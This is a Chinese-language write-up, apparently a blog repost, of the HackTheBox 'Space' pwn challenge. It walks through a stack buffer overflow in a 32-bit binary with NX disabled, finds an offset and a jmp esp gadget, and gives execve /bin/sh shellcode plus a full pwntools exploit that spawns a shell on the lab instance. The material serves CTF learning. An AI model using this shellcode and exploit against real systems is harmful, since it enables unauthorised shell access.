當前位置:網站首頁>HackTheBox-Space

HackTheBox-Space

2022-01-27 23:52:07 galaxy3000

概述

HackTheBox 網站CTF靶場PWN相關題目Space,題目地址https://app.hackthebox.com/challenges/space,主要考點為利用緩沖區溢出寫入shellcode

在這裏插入圖片描述

題目概述

下載附件Space.zip並解壓縮得到space,對應的遠程服務器實例為157.245.35.236:32466

基本信息獲取

查看文件屬性
在這裏插入圖片描述

直接運行
在這裏插入圖片描述

查看加固措施,發現NX沒有啟用

 checksec space

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

查看字符串,發現沒有任何字符串

rabin2 -z space
[Strings]
nth paddr vaddr len size section type string
――――――――――――――――――――――――――――――――――――――――――――

radare2分析

[0x08049080]> afl
0x08049080    1 50           entry0
0x080490b3    1 4            fcn.080490b3
0x08049070    1 6            sym.imp.__libc_start_main
0x080490e0    4 49   -> 40   sym.deregister_tm_clones
0x08049120    4 57   -> 53   sym.register_tm_clones
0x08049160    3 33   -> 30   sym.__do_global_dtors_aux
0x08049190    1 2            entry.init0
0x080492b0    1 1            sym.__libc_csu_fini
0x080490d0    1 4            sym.__x86.get_pc_thunk.bx
0x080491a4    1 43           sym.vuln
0x08049243    1 4            sym.__x86.get_pc_thunk.ax
0x08049060    1 6            sym.imp.strcpy
0x080492b4    1 20           sym._fini
0x08049250    4 85           sym.__libc_csu_init
0x080490c0    1 1            sym._dl_relocate_static_pie
0x08049192    1 15           sym._
0x080491cf    1 116          main
0x08049040    1 6            sym.imp.printf
0x08049050    1 6            sym.imp.fflush
0x08049030    1 6            sym.imp.read
0x08049000    3 32           sym._init

查看main,發現調用vuln
在這裏插入圖片描述

查看vuln
在這裏插入圖片描述

解題思路

利用溢出寫入shellcode

確認偏移

在這裏插入圖片描述

得到偏移為18

pwndbg> cyclic -l 0x61666161
18

測試可寫入空間大小

在這裏插入圖片描述
發現可寫入空間過小,只能把shellcode分為兩半
在這裏插入圖片描述

確定eip

ROPgadget --binary space --only 'jmp'
Gadgets information
============================================================
0x0804903b : jmp 0x8049020
0x08049190 : jmp 0x8049120
0x0804919f : jmp esp

將eip設定為jmp esp,通過execve調用/bin/sh,相關利用代碼從shellstrom獲取

\x31\xd2\x31\xc0\x83\xec\x16\xff\xe4\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

解題代碼

from pwn import *

jmp_esp_addr = 0x0804919f


shellcode_first = '\x31\xd2\x31\xc0\x83\xec\x16\xff\xe4'
shellcode_last = '\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

io = remote('157.245.35.236',32466)

payload = '\x90' + shellcode_last + p32(jmp_esp_addr) + shellcode_first

io.sendline(payload)
io.interactive()

在這裏插入圖片描述

版權聲明
本文為[galaxy3000]所創,轉載請帶上原文鏈接,感謝
https://cht.chowdera.com/2022/01/202201272352071923.html

隨機推薦